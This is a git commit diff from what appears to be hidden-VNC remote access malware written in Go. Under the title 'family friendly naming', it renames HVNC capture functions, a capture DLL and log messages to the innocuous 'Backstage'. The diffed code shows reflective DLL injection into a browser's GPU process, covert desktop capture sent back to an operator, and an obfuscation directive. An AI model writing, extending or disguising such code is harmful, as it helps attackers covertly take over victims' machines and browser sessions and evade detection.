family friendly naming
This commit is contained in:
@@ -1465,13 +1465,13 @@ func NowHVNC(ctx context.Context, env *rt.Env) error {
|
||||
if env.Cfg.DisableCapture {
|
||||
return sendBlackFrameHVNC(ctx, env)
|
||||
}
|
||||
if !supportsHVNCCapture() {
|
||||
if !supportsBackstageCapture() {
|
||||
return nil
|
||||
}
|
||||
return captureAndSendHVNC(ctx, env)
|
||||
}
|
||||
|
||||
func supportsHVNCCapture() bool {
|
||||
func supportsBackstageCapture() bool {
|
||||
count := HVNCMonitorCount()
|
||||
return count > 0
|
||||
}
|
||||
@@ -1490,7 +1490,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
|
||||
t0 := time.Now()
|
||||
img, err := safeHVNCCaptureDisplay(display)
|
||||
img, err := safeBackstageCaptureDisplay(display)
|
||||
if err != nil {
|
||||
log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
|
||||
return sendBlackFrameHVNC(ctx, env)
|
||||
@@ -1531,11 +1531,11 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func safeHVNCCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
defer func() {
|
||||
_ = recover()
|
||||
}()
|
||||
img, err := hvncCaptureDisplay(display)
|
||||
img, err := BackstageCaptureDisplay(display)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
)
|
||||
|
||||
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
|
||||
// must be kept in sync with HVNCCapture/src/DXGICapture.h.
|
||||
// must be kept in sync with BackstageCapture/src/DXGICapture.h.
|
||||
type hvncFrameHeader struct {
|
||||
Magic uint32
|
||||
Version uint32
|
||||
|
||||
@@ -947,7 +947,7 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
}
|
||||
|
||||
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
procCloseHandle.Call(hProcess)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
|
||||
@@ -956,7 +956,7 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
}
|
||||
procCloseHandle.Call(hProcess)
|
||||
|
||||
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
|
||||
log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
|
||||
hvncRegisterInjectedPID(gpuPID)
|
||||
hvncRegisterGPUPID(browserPID, gpuPID)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
|
||||
@@ -23,7 +23,7 @@ func SetHVNCUIAEnabled(enabled bool) {}
|
||||
|
||||
func GetHVNCUIAEnabled() bool { return false }
|
||||
|
||||
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return nil, errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
|
||||
@@ -508,7 +508,7 @@ func ensureHVNCThread() error {
|
||||
case hvncTaskAutoStartExplorer:
|
||||
result.err = hvncAutoStartExplorerOnThread()
|
||||
default:
|
||||
result.img, result.err = hvncCaptureDisplayOnThread(task.display)
|
||||
result.img, result.err = BackstageCaptureDisplayOnThread(task.display)
|
||||
}
|
||||
|
||||
dur := time.Since(start)
|
||||
@@ -535,7 +535,7 @@ func ensureHVNCThread() error {
|
||||
return hvncThreadErr
|
||||
}
|
||||
|
||||
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
if err := ensureHVNCThread(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -846,7 +846,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
|
||||
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
|
||||
}
|
||||
|
||||
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
captureMu.Lock()
|
||||
defer captureMu.Unlock()
|
||||
|
||||
Reference in New Issue
Block a user